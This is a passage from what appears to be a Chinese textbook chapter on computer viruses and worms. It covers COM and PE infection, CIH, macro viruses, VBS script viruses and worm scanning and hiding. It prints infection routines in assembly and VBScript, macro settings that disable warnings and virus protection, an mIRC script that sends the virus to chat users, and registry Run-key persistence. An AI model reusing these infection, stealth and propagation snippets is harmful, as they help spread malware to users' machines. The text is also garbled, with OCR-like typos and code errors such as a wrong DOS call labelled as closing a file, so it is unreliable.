cs:0100 jmp endOfFile ;db 0e9h,0100h处为 COM文件原来入口; dw COM文件实际大小; endOfFile 文件尾 ( 加入病毒的位置 )
( 2) 在 COM文件的尾部的病毒代码部分
…
endOfFile:
virusStart:; 病毒代码
mov ax,orgcode
mov [100],ax
mov al,[orgcode+2]
mov [102],al
virusSize = $-virusStart
resume:
jmp 100 ; db 0e9h;dw –(COM文件实际大小 + 病毒代码大小 )
orgcode db 3 dup(?) ; 原文件由 0100开始的 3个字节
( 3) 代码的进一步完善病毒要感染 COM文件,需要进行的工作有:
·首先要把开始的 3字节保存到 orgcode中,更改为 0e9h;
·更改文件实际大小;
·将 resume开始的 3字节改为,0e9h-( COM文件实际大小 +病毒代码大小 ) ;
·将病毒代码写到 COM文件尾部;
·进行感染的判断和文件大小的判断 。
假设,DS:DX指向 VirusSize; VirusStart的定义如上。; 保存开始的 4字节并改写
db 90h,0e9h ; 0e990h为感染标志
dw sizeofcom
感染代码:
…
mov ax,3d01h
int 21h ; 为读写打开
jc OpenError
push dx
xchg ax,bx
mov ax,4202h
xor cx,cx
int 21h ; 移到文件尾
or dx,dx
jnz complete ; 大于 4字节的文件不感染
cmp ax,ofeeeh-ViusSIze-11
jnb complete
cmp ax,4
jb complete ; 小于 4字节的文件也不感染
mov di,offset orgcode
mov [di+6],ax
add [di+6],VirusSize ; 产生替换代码
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ; 移到文件头
mov cx,4
mov dx,di
mov ah,3fh
int 21h ; 读出 4个字节
jc complete
cmp word ptr [di],0e990h ; 如果没有感染,则; nop; jmp XXXX
jz complete
mov cx,4
add ah,40h
int 21h ; 在文件头部写 4个字节
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ; 移到文件尾
mov ah,40h
mov dx,VirusSize+11
int 21h ; 写入病毒代码到 COM文件中
complete:
mov ah,3fh
int 21h ; 关闭文件
ErrorOpen:
…
1.3.3 Win 32 PE病毒编制的关键技术
1,Win 32 PE文件格式
Win 32 PE文件就是 Win 32( Windows 95/98/2000/XP) 环境下的 PE
格式( Portable Executable Format) 的可执行文件。为了了解病毒对它的感染机理,首先介绍 PE文件的结构和运行机制。 PE文件的格式如图 1.5所示。
( 1) 所有的 PE文件必须以一个简单的 DOS MZ头开始 。
( 2) 接着是一个极小 ( 几百个字节 ) 的 DOS程序 DOS
stub,用于输出警告,如,该程序不能在 DOS模式下运行,。 当 Win32把一个 PE文件映像加载到内存时,
内存映像文件的第一个字节对应到 DOS Stub的第一个字节 。
( 3) 再接着是作为 PE文件标志的 1024字节的 PE头 。
执行体在支持 PE文件的操作系统中执行时,PE装载器将从 DOS MZ头中找到 PE头的偏移量 。
( 4) PE文件的内容部分由一些称为段的块组成。每段是一块具有共同属性的数据。段数写在段表中。
( 5) PE文件的装载过程
1 PE文件被执行时,PE装载器检查 DOS MZ头中的 PE头骗移量 。 找到了,就跳转到 PE头 。
2 PE检查器检查 PE头的有效性 。 有效,就跳转到 PE头的尾部 。
3 读取段表中的信息,通过文件映射,将段映射到内存,
同时附上段表中指定的段的属性 。
4 PE文件映射到内存后,PE装载器处理 PE文件中的有关逻辑。
2,Win 32 PE病毒原理一个 Win 32 PE病毒需要具有如下一些功能 。
( 1) 重定位定位主要指程序中数据的内存存储位置 。 对于正常的程序来说,数据的内存存储位置在编译时就已经计算好了,程序装入内存时不需要对它们重定位 。
病毒可能依附在宿主程序的不同位置,当病毒随着宿主程序装载到内存后,病毒中数据的位置也会随之发生变化。由于指令是通过地址引用数据的,地址的不准确将导致病毒程序的不正确执行。为此,有必要对病毒代码中的数据进行重定位。
( 2) 获取 API函数地址在 Win 32环境中,系统功能调用不是通过中断实现,
而是通过调用 API函数实现 。 因此,获取 API函数的入口地址非常重要 。 但是,Win 32 PE病毒与普通的 Win 32
PE程序不同:普通的 Win 32 PE程序里有一个引入函数节,程序通过这个节可以找到代码段中所用的 API函数在动态链接库中的真实地址 。 调用 API函数是,可以通过该引入函数表找到相应 API函数的真正执行地址 。
但是,Win 32 PE病毒只有一个代码段,并不存在引入函数节,因此不能直接用真实地址调用 API函数。所以获取 API地址是病毒的一个重要技术。
1 首先获取 Kernel32的基地址当 系 统 打 开 一 个 可 执 行 文 件 时,会调用
Kernel32.dll 中的 CreateProcess 函数 。
CreateProcess函数在完成装载应用程序后,先要将一个返回地址压入堆栈顶,然后转向那个要装载的应用程序 。 这个应用程序结束后,就将这个地址数据弹出到 EIP中,继续执行 。 因此,要获得 API函数地址,首先要获得 Kernel32的基地址 。 例如利用程序的返回地址,在其附近搜索 Kernel32模块的基地址 。
2 由已知 API函数序列号或仅知的函数名,搜索 API
函数地址的过程
( 3) 搜索目标文件通常通过两个 API 函数 FindFiratFilehe 和
FindNextFile实现 。
( 4) 内存文件映射使用内存文件映射进行文件读写 。
( 5) 感染其他文件
( 6)返回到宿主程序。
3,Win 32 PE病毒实例 ——CIH病毒
CIH病毒以 Win 32 PE文件为攻击对象。它开创了直接攻击、破坏硬件的先例,发作时破坏 Flash BIOS芯片中的系统程序,导致主板损坏,造成部分厂家的主板开机后无反应;同时,使硬盘驱动器不停地转动,病毒以 2048个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘中的全部数据被破坏。
( 1) CIH病毒的基本特点
·CIH病毒很短,CIHv1.2只有 1003个字节 。
·可以绕过 Windows的应用程序界面,绕过 ActiveX、
C++和 C,使用汇编,利用虚拟设备驱动程序 VxD,直接进入 Windows内核 。
·采用碎洞攻击技术,将病毒化整为零,插入到宿主文件中,因而不改变宿主文件大小 。
·利用多数 BIOS芯片开放可重用性的特点,可以向计算机主板的 BIOS端口写如乱码 。
( 2) CIH病毒驻留程序的驻留过程一旦要执行带有 CIH病毒的 EXE文件,由于病毒修改了该文件程序的入口地址,使调入内存执行的是病毒的驻留程序 ( 长 184字节 ) 。 驻留的主要过程如下:
1.取得 IDT( 中断描述符 ) 的基地址 。
2,把 IDT的 INT 3的入口地址改为指向 CIH自己的 INT 3
入口,以获得最高级别 ( Ring0级 ) 的 Windows权限
( 可以在 Windows内核执行各种操作,如终止系统运行,直接对内存读写,截获各种中断,控制 I/O端口等 ) 。
3 执行 INT 3指令,进入自身的 INT 3入口程序 。 具体工作为:
a 检查调式寄存器 DR0的值,判断 CIH病毒是否已经驻留:
·不为 0,表示 CIH病毒已经驻留,要恢复原先的 INT 3入口,把控制权交给 Windows;
·为 0,表示尚未驻留,CIH病毒将尝试驻留 。
b 将当前 EBX寄存器的值赋给 DR0寄存器,生成驻留标志 。
c 调用 INT 20中断,请求系统分配两页 Windows内存,以便程序长期驻留内存 。
d 内存申请成功,将破碎的病毒程序收集起来,组合后放到申请到的内存空间中 。
e 调用 INT 3入口程序,调用 INT20,在 windows内核的文件处理函数中挂接钩子,以截取文件调用操作,以便病毒的传染部分能在第一时间截获要求开启的文件调用 。
f 将同时截获的核心文件输入 /输出服务程序的入口地址保存到 RD0寄存器中,以便 CIH病毒调用 。
g 驻留成功,恢复宿主文件正常入口,执行宿主程序:
·恢复原来的 IDT中断表中的 INT 3入口,退出 INT 3;
·根据病毒程序隐藏的原文件的正常入口地址,跳到原来文件的正常入口。
( 3) CIH病毒的感染过程
CIH病毒的传染是通过病毒主流内存过程中,调用 Windows内核底层的 IFSMgr_InstallFileSystemApiHook函数挂接钩子时,指针指示的程序段实现 。 这段程序长 586字节 。 大致过程如下:
1 文件截获:调用 INT 20的 VxDcallUniToBCSPath系统功能调用,
取回系统要开启的文件的文件名和路径 。
2 EXE文件判断:非 EXE文件,不感染,离开病毒程序,跳回
Windows内核的正常文件处理程序 。
3 PE格式判断:取出文件标识符进行分析,若 Signature=―00455000
( OOPE00) ‖且未感染,就对其感染;否则,只发作。
4 寄生计算,CIH病毒利用 PE格式文件的文件头和各个区都可能存在自由空间碎片,将病毒程序拆分成若干大小不等的块,见缝插针地插到宿主文件的不同区内 。
首先要技术计算有无可以存放病毒首块的空间 。 没有这样的空间就不感染 。 病毒首块包括:
·病毒块链表指针区,8× ( 区数 +1) 字节,存放每个病毒块的首地址 ( 每块 4字节 ) 及其长度 ( 每块 4字节 ) ;
·184字的病毒驻留程序 。
接着将整个病毒读入内存,按 PE文件的各区进行计算分配。
5 写入病毒:按照计算结果,将各块压栈,以逆序将各块写入到相应自由空间 。
(4)CIH病毒的发作
CIH v1.4在每年 4月 26日发作 。 病毒从 CMOS的 70,71端口取出系统当前日期进行判断:
mov ax,0708
ut 70,al
in al,71 ; 取当前系统月份
xchg al,ah
out 70,al
in al,71 ; 取当前系统 r日
xor ax,0426 ; 判断
… ; jz病毒发作程序
1.3.4 宏病毒及其关键技术
1,宏病毒及其发作宏是嵌入在字处理文档或其他类型文件中的一段用宏语言编写的可执行程序,用户使用宏可以完成一些重复性的工作 。 例如,用户可以通过宏定义一个击键序列,
然后就可以通过敲击功能键或特定的组合键来启动该宏,
以减少在键盘上的直接操作 。
据美国国家计算机安全协会统计,宏病毒大约占整个病毒的三分之一 。 宏病毒所以如此猖獗,主要原因有下列一些:
( 1) 宏病毒感染的是文档而不是代码的可执行部分宏病毒的存在和执行,依赖于系统是否具有强大的宏语言环境 。
Word从 6.0开始,Excel从 4.0开始,数据文件中就包含了宏语言功能 。 而计算机中具有大量这样的文档文件,并且人们使用极为普遍的电子邮件往往是以文档的形式进行传输 。 这就为宏病毒的传播提高了方便途径 。
( 2) 宏病毒与平台无关应用极为普遍的 Word和 Excel是宏病毒的主要载体,所有支持
Word和 Excel的硬件平台和操作系统都会感染宏病毒。
( 3)宏病毒中有一种自动执行宏,它不需要用户启动,
只要出现相应的执行事件,就可以自动运行。常见的自动执行宏有表 1.1所示的一些。
表 1.1 Windows的自动执行宏
Word Excel Office 97/2000
AutoOpen Auto_Open Document_Open
AutoClose Auto_Close Document_Close
AutoExcec
AutoExit Document_Newe
AutoNew
Auto_Activate
Auto_Deactivate
不仅 Word和 Excel,Access,PowerPoint,Visio,CoreDraw、
WordPro 也 具 有 强 大 的 宏 语 言 。 自 Word97和 Excel97 之后,
Microsoft 逐 渐 将 宏 语 言 统 一 到 VBA( Visual BASIC for
Application) 上 。
除了随文件操作自动执行的宏,还有一类宏会随着指定键或指定键序列的操作被自动触发,拿到系统控制权下面是一个在 Normal
模板中的 AutoNew宏 。 当用户新打开一个 Word时,就会弹出一个提示,新建文件自动执行宏示例,的窗口 。
Sub AutoNew()
MsgBox ―新建文件自动执行宏示例,,0,,宏病毒测试,
End Sub
2,宏病毒的隐藏措施
( 1) 关闭有关提示和容易引起怀疑的操作,如
On Error Resume Next?出错时不提示,继续执行下面语句
Application,DisplayAlerts = wdAlertsNone?不弹出警告窗口
Application,DisplayStatusBar = False?不显示状态栏,以免显示宏的运行状态
Application,EnableCancelKey = wdCancelDisabled?不可通过
ESC结束当前运行的宏
Application,ScreenUpdating = False?关闭屏幕刷新,以免看到病毒引起的速度变慢
Options,SaveNormalPrompt = False?若公共模块被修改,不显示提示窗口直接保存
Options,VirusProtection = False?关闭病毒保护:若运行前包含宏,不提示
( 2)屏蔽一些菜单功能(如,工具 | 宏,等),以免被用户手工发现。
3,宏病毒的基本传播过程
( 1) 将宏病毒依附与一个 Word文档;
( 2) 通过电子邮件或移动存储设备,把该文档输入到一个系统;
( 3) 一个被染毒的,doc文件被打开后,会通过 Auto类宏来激活病毒,接着感染诸如 normal.dot或 powerup.dot等全局模板文件,得到系统的,永久,控制权 。
( 4) 宏把自身拷贝到全局宏文件中;
( 5)下一次启动 Word时,将激活全局宏,并在该宏执行时会进行自我复制并破坏系统。
1.3.5 脚本病毒及其关键技术
1,脚本病毒的特点脚本是嵌入到数据文档中执行一个任务的一组指令 。 最典型的脚本是嵌入到网页中的脚本,它们可以实现网站的点击计数器,
格式处理器,实时时钟,鼠标效果,搜索引擎等功能 。
脚本由脚本语言描述 。 常用的脚本语言有,VBScript、
Jscript,JavaScript,PerScript等 。 并且,脚本不是由 CPU直接执行,而是有某个程序解释,如嵌入在 HTML文件 ( 网页 ) 中的脚本是由浏览器解释执行的 。
脚本病毒是一些嵌入在应用程序、数据文档和操作系统中的恶意脚本。脚本病毒一般嵌入在 CSC( CoreDraw),Web( HTML、
HTM,HTH,PHP),INF( information),REG( regisry) 等文件中,主要通过电子邮件和网页传播。
脚本病毒中最有代表性的是用 VBScript 编写的 VBS病毒 。 VBS
病毒具有如下一些特点:
·编写简单,生产容易;
·传播范围广,感染力强,破坏力大;
·欺骗性强、变种多。
2,脚本病毒的感染机制脚本病毒直接通过自我复制感染文件,病毒中的绝大部分代码可以直接附加在同类程序中间。例如,新欢乐时光病毒是将自己的代码附加在,htm的尾部,并在顶部加入一条调用病毒代码的语句;而爱虫病毒则直接生成一个文件的副本,将病毒代码嵌入其中,同时将原文件名作为病毒文件的文件名前缀,以 vbs作为后缀。
下面是爱虫病毒的文件感染部分的关键代码:
set fso = createobject(―scripting.filesystemobject‖)? 创建一个文件对象
set self = fso.opentextfile(wscript.sriptfullname,1) ‘ 读当前打开文件
( 病毒文件 )
vbscopy = self.readall‘ 读取全部病毒代码到字符串变量 vbscopy
┇
set ap = fso.opentextfile(目标文件,path,2,true) ‘ 写打开目标文件,为写病毒代码做准备
ap.write vbscopy? 用病毒代码覆盖目标文件中的代码
ap.close
set cop = fso.getfile(目标文件,path)? 得到目标文件路径
cop.copy(目标文件,path & ―,vbs)? 创建以,vbs为后缀的病毒文件目标文件,delete(true)? 删除目标文件
3,脚本病毒的文件搜索寻找满足条件的感染对象,是病毒的一个重要机能 。 下面是一个设计的非常巧妙的 VBS病毒的搜索函数 。 它采用递归算法遍历整个分区的目录和文件 。
sub scan(folder_)? 搜索函数 scan定义
on error resume next? 跳过错误,防止弹出错误窗口
set folder_ = fso.getfoder(folder_)
set files = folder_.files? 取当前目录的所有文件集合
for each file in files? 对文件集合中的每个文件进行测试
ext = fso.GetExtensionName(file)? 获取文件名后缀
ext = lcase(ext)? 小写转换后缀名
if ext = ―mp3‖ then? 以,mp3‖后缀作为条件
Wscript.echo(file)? 用来模拟病毒感染或破坏模块
end if
next
set subfolders = folder-.subfolders
for each subfolder in subfolders? 递归调用 scan(),搜索其他目录
scan(subfolder)
next
end sub
4,脚本病毒的传播手段
( 1) 通过电子邮件传播通过电子邮件传播的关键是获得合法的电子邮件地址。下面是一个 VBS病毒的传播算法,它是直接取
Outlook地址簿中的邮件地址。
set MAPI对象 = Outlook对象,GetNameSpace(―MAPI‖)// 获取 MAPI的名字空间
set 地址对象 =MAPI对象,地址表 ( i) // 获取地址表的个数
for 地址对象表中的每一个地址获取每个地址表的 E-Mail地址数
for 地址表中的每个 E-Mail地址获取一个邮件地址对象实例获取具体 E-Mail地址填入收信人地址写入邮件邮件标题写入邮件内容定义邮件附件发送邮件信件提交后删除写病毒标记,以免重复感染
next
next
设置 MAPI对象 = 空设置 Outlook = 空
( 2) 通过局域网共享传播在 VBS中有一个对象可以实现局域网邻居共享文件夹的搜索与文件操作 。 利用该对象可以实现病毒的传播 。 下面是一个简化的传播算法 。
创建一个网络对象创建一个网络打印机连接列表显示每台网络打印机连接情况创建一个网络共享连接列表寻找目标驱动器感染
( 3) 通过网页文件传播这里主要介绍通过 htm感染的机理 。 脚本病毒通过 htm网页传播依赖于 FSO( File System Object,文件系统对象 ) 和 WSH( Windows
Script Host,Windows脚本宿主 ) 对象 。
WSH可以理解为内嵌于 Windows操作系统中的脚本语言工作环境 。
它较多地考虑了,非交互性脚本,的需要,使脚本功能非常强大,
例如:
·实现网络驱动器
·检索并修改环境变量
·处理注册表项
·对文件系统进行操作
·管理员用其支持功能创建简单的登陆脚本
·编写脚本管理活动目录这些功能主要通过内置的 WSH对象实现 。 WSH共有 14个内置对象,它们分别具有不同的功能 。 脚本病毒通过 htm网页传播的关键是使 FSO和 WSH对象能够在网页内运行 。
通常,要先对 COM进行初始化,在获取相应的组件对象后,
病毒就可以正确地使用 FSO和 WSH两个对象 。
下面给出一段病毒代码 。 其中
{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} ( Windows Script Host shell
Object)
{0D43FE01-F093-11CF-8940-00A0C9054228} ( File System Object)
是注册表中 WSH和 FSO的两个主键。
Set AppleObject = document.applets(―KJ_guest‖)
AppleObject.setCLSID(―{ F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}‖)
AppleObject.createInstance()? 创建一个实例
Set WsShell = AppleObject()
AppleObject,setCLSID(―{0D43FE01-F093-11CF-8940-00A0C9054228}‖)
AppleObject.createInstance()? 创建一个实例
Set FSO = AppleObject()
( 4) 通过 IRC聊天通道传播这里仅以 MIRC( ) 为例来说明病毒通过 IRC传播的过程 。 由于控制 IRC会话的命令存放在 Script.ini中 。 并且 Script.ini文件中的命令是可以自动执行的 。 因此,IRC病毒传播的关键是在
Script.ini文件中写一些代码,利用某些命令给通道中的其他用户传送病毒文件,使得用户使用被感染的通道时,都会收到一份病毒文件 。 下面是一般通过 IRC传播病毒代码 。
Dim mirc set fso = CreateObject(?Seripting.FileSystemObject‖)
set mirc = fso.CreateTextFile(―C:\mirc\script.ini‖)
创建文件
script.ini
fso.CopyFile Wscript.ScriptFullName,
―C:\mirc\attachmemnt.vbs‖,True
将病毒文件备份到 attachment.vbs
mirc.WriteLine ―[script]‖
mirc.WriteLine ―n0 = on 1:join:*.*:{if ($nick != $me )
{halt}/dcc send $nick C:\mirc\attachment.vbs}‖
利用命令 /ddc send $ nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
5,脚本病毒获得控制权的方法获取控制权的能力是病毒的关键能力,下面介绍脚本病毒获取控制权的几种典型方法 。
( 1) 修改注册表
Windows启动时会自动加载一些程序 。 这些程序是下面的项下的键值所指向的程序:
HKEY_LOCAL-
MACHINE\\SOFTWARE\Microsoft\Windows\Current\Version\Run
利用这一特点,病毒也可以在此项下加一个键值,让这个键值指向病毒程序,这样就能保证在每次计算机启动时病毒能取得控制权 。
( 2) 修改执行方式例如新欢乐时光将 dll的执行方式修改为 wscript.exe,也可以将 exe文件的映射指向病毒代码。
( 3) 引诱用户执行主要办法是让用户产生错觉 。 如病毒发送附件时,采用双后缀文件名,使用户产生错觉 。 例如,使用文件名 xxxx.jpg.vbs。 由于默认情况下不显示后缀,所以这个双后缀文件被显示为 xxxx.jpg,用户将其误认为是图片文件而去点击,执行了病毒程序 。
( 4) desktop.ini和 folder.htt配合使用
desktop.ini和 folder.htt可用以配置活动桌面,并用以自定义文件夹。
如果用户的目录中含有着两个文件,并且病毒感染了 folder.htt,则当用户进入该目录时,就会触发 folder.htt中的病毒代码。
6,VBS脚本病毒的弱点
( 1 ) VBS 脚 本 病 毒 的 运 行,往 往 要 用 到 一 个 对 象,
FileSystemObject。
( 2) VBS脚本病毒运行时需要其关联程序 wscript.exe的支持 。
( 3) VBS代码要通过 Windows Acript Host解释执行 。
( 4) 通过网页传播的病毒需要 ActiveX的支持 。
( 5) 通过邮件传播的病毒需要 OutlookExpress的自动发送邮件功能的支持 。
这些弱点可以被用于病毒的防治。例如,禁用对象
FileSystemObject 用 regsvr32 scrrun.dll/u命令,或者直接查找
scrrun.dll文件加以删除或改名)可以有防范作用。
1.3.6 计算机病毒技巧俗话说,道高一尺,魔高一丈 。 计算机病毒也随着反病毒技术的发展不断演变,升级 。 下面是计算机病毒在技术方面的一些技巧 。
1,增强隐秘性为了使病毒能长期潜伏,病毒就要增强自己的隐秘性 。 下面是几种增强隐秘性的技术 。
( 1)避开修改中断变量:早期的病毒程序都要直接修改中断服务子程序,以控制常用中断功能。因此,许多反病毒软件都对系统的中断向量表进行监视,一旦发现任何对系统内存中断向量表进行修改的操作,就会怀疑有病毒在活动。针对这一反病毒技术,病毒程序就要避免修改中断向量表时留下痕迹。
例如,有的病毒程序,改修改中断向量的控制方式为通过修改中断服务子程序,来获得系统控制权 。 一种方法是前面介绍过的通过修改 COM文件首指针的方法修改中断服务程序,基本步骤为:
·从中断向量表中动态获得中断服务子程序入口;
·将该入口开始的 3~5字节的指令内容保存到病毒体工作区;
·修改原入口处的指令为转移指令,转向病毒的中断服务子程序入口;
·执行完病毒子程序后,再转向正常的服务子程序入口。
( 2) 谋求在内存的合法性:早期的病毒程序一般驻留内存高端 。
因此,内存侦察是反病毒软件的首选技术 。 为躲避侦察,病毒程序可以采用下面的方法:
·通过正常的内存申请进行合法驻留 。 如扬基病毒,DONG病毒等;
·改驻留高端为驻留低端,如 DIRII病毒 。
( 3) 维持宿主程序的外特性:保持宿主程序的外特性不变,例如,
CIH病毒采用碎洞攻击技术不增加宿主文件的长度 。
( 4)不使用明显的感染标志:早先,病毒只简单地根据某个标志来判断病毒是否已经存在,现在则要经过一系列相关运算来进行判断。
2,采用抗分析技术为了增加病毒分析的困难,病毒还采用了一些抗分析技术,例如:
( 1) 降低代码的可读性;
( 2) 采用加密技术,使分析者无法在病毒不执行的情形下阅读病毒程序 。 主要的加密技术有:
·对程序段进行动态加密:采用边执行边解密的方法,使后面的机器码是与前面的机器码运算后还原形成,分析者即使用 DEBUG
等调试工具将病毒程序从头到尾打印出来,也是一堆乱码 。
·对宿主程序段进行加密 。 例如 Chairman病毒将 COM型宿主程序的前 5个字节进行加密,转存到病毒体 524H处开始的地方;而对
EXE型宿主程序的文件头偏移 0EH~08H的内容存放在病毒体偏移
524H处开始的地方 。
·密钥不固定。
( 3) 采用反跟踪技术:为清除病毒,常常可以借助
DEBUG等调试工具,对发现的病毒进行跟踪剖析 。 为了对付这种跟踪,病毒程序可以采用破坏中断向量的方法,
如嵌入一些破坏单步中断 INT 1H和中断点设置中断 INT
3H的中断向量的程序段,使动态跟踪难以进行 。
( 4) 自加密:例如新欢乐时光病毒可以随机地选取密钥,对自己的部分代码进行加密变换,并使每次感染的病毒代码不同 。 这给用特征法查毒带来一些困难 。
( 5)直接关闭反病毒软件:例如 VBS病毒可以查看正在运行的进程,发现反病毒软件,就将之关闭。
3,采用变形病毒技术病毒在发展,网络在发展,网络又促进了病毒的发展,复杂的病毒又朝着变形病毒发展 。 采用变形技术的病毒是一种进化病毒
( Evolutionary Virus) 也称计算机病毒变体 ( Computer Virus
Variance) 。 它们是在计算机系统运行过程中,可以将自身有修改地复制到其他程序体内的计算机病毒,形成来源于同一病毒而表象形式不同的计算机病毒系列 。
按照变形病毒自身代码和结构在空间上,时间上具有的不同变化,可以将变形病毒简要划分为 4类 。
第一类变形病毒具备普通病毒所具有的基本特性 。 然而,病毒传播到一个目标后,自身代码与前一目标中的病毒代码几乎没有 3
个连续的字节相同 。 但这些代码的相对空间排列位置并不变动,所以也称一维变形病毒 。 有些一维变形病毒感染系统后,遇到检测时能够进行自我加密或脱密,或自我消失 。 有的列目录时能消失增加的字节数,或加载跟踪时,病毒能破坏跟踪或者逃之夭夭 。
第二类变形病毒除了具备一维变形病毒的特性外,那些变化的代码相互间的排列距离 ( 相对空间位置 ) 也是变化的,所以也称二维变形病毒 。 某些二维变形病毒 ( 如 MADE-SP病毒等 ) 能用某种不动声色特殊的方式或混杂于正常的系统命令中去修改系统关键内核,
并与之融为一体,或干脆另创建一些新的中断调用功能 。 有的感染文件的字节数不定,或与文件融为一体 。
第三类变形病毒具备二维变形病毒的特性,并且在分裂后能分别潜藏在几处,当病毒引擎被激发后再自我恢复成一个完整的病毒。
病毒在附着体上的空间位置是变化的,即潜藏的位置不定。比如:
可能一部分藏在第一台机器硬盘的主引导区,另外几部分也可能潜藏在几个文件中,也可能潜藏在覆盖文件中,也可能潜藏在系统引导区、也可能另开垦一块区域潜藏等等。而在下一台被感染的机器内,病毒又改变了其潜藏位置,通常也称为三维变形病毒。
第四类变形病毒具备三维变形病毒的特性,并且这些特性随时间动态变化 。 比如,在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子 。 往往这类病毒本身就是具有传播性质的
,病毒生产机,,它们会在计算机内或通过网络传播时,将自己重新组合代码生成与前一个有些代码不同的变种新病毒,通常也称为:
四维变形病毒 。
四维变形病毒大部分具备网络自动传播功能,在网络的不同角落里到处隐藏。
1.4 蠕虫返回
1.4.1 蠕虫的定义与特征
1982年,Xerox PARC的 John F.Shoch等人为了进行分布式计算的模型实验,编写了称为蠕虫的程序 。 但是他们没有想到,这种,可以自我复制,,并可以,从一台计算机移动到另一台计算机,的程序,后来不断给计算机界带来灾难 。 1988年被 Robert Morris释放的 Morris
蠕虫,在 Internet上爆发,在几个小时之内迅速感染了所能找到的,存在漏洞的计算机 。
人们通常也将蠕虫称为蠕虫病毒。但是严格地讲,
它们并不是病毒。
下面讨论蠕虫与病毒之间的异同 。
1,存在的独立性病毒具有寄生性,寄生在宿主文件中;而蠕虫是独立存在的程序个体 。
2,传染的反复性病毒与蠕虫都具有传染性,它们都可以自我复制 。 但是,
病毒与蠕虫的传染机制有三点不同:
·病毒传染是一个将病毒代码嵌入到宿主程序的过程,而蠕虫的传染是自身的拷贝;
·病毒的传染目标针对本地程序 ( 文件 ),而蠕虫是针对网络上的其他计算机;
·病毒是在宿主程序运行时被触发进行传染,而蠕虫是通过系统漏洞进行传染 。
此外,由于蠕虫是一种独立程序,所以它们也可以作为病毒的寄生体,携带病毒,并在发作时释放病毒,
进行双重感染 。
病毒防治的关键是将病毒代码从宿主文件中摘除,
蠕虫防治的关键是为系统打补丁( patch),而不是简单地摘除。只要漏洞没有完全修补,就会重复感染。
3,攻击的主动性计算机使用者病毒的传染的触发者,而蠕虫的传染与操作者是否进行操作无关,它搜索到计算机的漏洞后即可主动攻击进行传染 。
4,破坏的严重性病毒虽然对系统性能有影响,但破坏的主要是文件系统 。
而蠕虫主要是利用系统及网络漏洞影响系统和网络性能,
降低系统性能 。 例如它们的快速复制以及在传播过程中的大面积漏洞搜索,会造成巨量的数据流量,导致网络拥塞甚至瘫痪;对一般系统来说,多个副本形成大量进程,则会大量耗费系统资源,导致系统性能下降,对网络服务器尤为明显 。 表 1.2为几种主要蠕虫所造成的损失 。
5,行踪的隐蔽性由于蠕虫传播过程的主动性,不需要像病毒那样需要计算机使用者的操作触发,因而基本不可察觉 。
从上述讨论可以看出,蠕虫虽然与病毒有些不同,但也有许多共同之处。如果说,凡是能够引起计算机故障,破坏计算机数据的程序统称为计算机病毒。那么,从这个意义上,
蠕虫也应当是一种病毒。它以计算机为载体,以网络为攻击对象,是通过网络传播的恶性病毒。
1.4.2 蠕虫的基本原理关于蠕虫,现在还没有形成系统的理论。下面从蠕虫的功能和程序组成两个方面讨论蠕虫的工作原理。
1,蠕虫程序的功能结构一个蠕虫程序的基本功能包括传播模块,隐藏模块和目的模块三部分 。
( 1) 传播模块传播模块由扫描模块,攻击模块和复制模块组成 。
·扫描模块负责探测存在漏洞的主机 。 当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就会得到一个可传播的对象 。
·攻击模块按照漏洞攻击步骤自动攻击已经找到的攻击对象,获得一个 shell。 获得一个 shell,就拥有了对整个系统的控制权 。 对
Win 2x来说,就是 cmd.exe。
·复制模块通过原主机和新主机的交互,将蠕虫程序复制到新主机并启动,实际上是一个文件传输过程 。
( 2) 隐藏模块:侵入主机后,隐藏蠕虫程序,防止被用户发现 。
( 3)目的模块:实现对计算机的控制、监视或破坏等功能。
2,蠕虫程序的传播过程蠕虫程序的一般传播过程为:
( 1) 扫描:由蠕虫的扫描功能模块负责探测存在漏洞的主机 。 当程序向某个主机发送探测漏洞的信息并收到成功的反馈信息后,就得到一个可传播的对象 。
( 2) 攻击:攻击模块按漏洞攻击步骤自动攻击步骤 1中找到的对象,
取得该主机的权限 ( 一般为管理员权限 ),获得一个 shell。
( 3) 复制:复制模块通过原主机和新主机的交互将蠕虫程序复制到新主机并启动 。
可以看到,传播模块实现的实际上是自动入侵的功能。所以蠕虫的传播技术是蠕虫技术的首要技术,没有蠕虫的传播技术,也就谈不上什么蠕虫技术了。
3,蠕虫的扫描机制如前所述,蠕虫在扫描漏洞时,要放松大量的数据包,从而会引起网络拥塞,占用网络通信带宽 。 但是,这并不是蠕虫本身所希望的 。 实际上,蠕虫更希望隐蔽地传播 。 现在流行的蠕虫采用的传播原则是:尽快地传播更多的主机 。 根据这一原则,扫描模块采取的扫描策略是:随机选取一段 IP地址,然后对这一地址段上的主机进行扫描 。
差的扫描程序并不知道一段地址是否已经被扫描过,只是随机地扫描 Internet,很有可能重复扫描一个地址段 。 于是,随着蠕虫传播的越广,网上的扫描包越多,即使探测包很小,但积少成多,
就会引起严重的网络拥塞 。
扫描策略改进的原则是,尽量减少重复的扫描,使扫描发送的数据包尽量少,并保证扫描覆盖尽量大的范围 。 按照这一原则,可以有如下一些策略:
( 1) 在网段的选择上,可以主要对当前主机所在网段进行扫描,
对外网段随机选择几个小的 IP地址段进行扫描 。
( 2) 对扫描次数进行限制 。
( 3) 将扫描分布在不同的时间段进行,不集中在某一时间内 。
( 4) 针对不同的漏洞设计不同的探测包,提高扫描效率 。 例如:
·对远程缓冲区溢出漏洞,通过发出溢出代码进行探测;
·对 Web CGI漏洞,发出一个特殊的 HTTP请求探测。
4,蠕虫的隐藏手法蠕虫为了不被发现,就要采用一些反检查技术,尽量隐藏自己 。 但是,隐藏技术有相当大的难度,需要大量了解反病毒软件和系统管理员的查毒手法 。 下面介绍蠕虫的几种隐藏手法 。
( 1) 修改蠕虫在系统中的进程号和进程名称,掩盖蠕虫启动的时间记录 。
此方法在 Windows95/98下可以使用 RegisterServiceProcess API函数使得进程不可见 。 但是,在 Windows NT/2000下,由于没有这个函数,方法就要困难一些了:只能在 psapi.dll的 EnumProcess API
上设置,钩子,,建立一个虚的进程查看函数 。
( 2) 将蠕虫拷贝到一个目录下,并更换文件名为已经运行的服务名称,使任务管理器不能终止蠕虫运行 。
这时要参考 ADV API32.DLL中的 OpnSCManagerA和
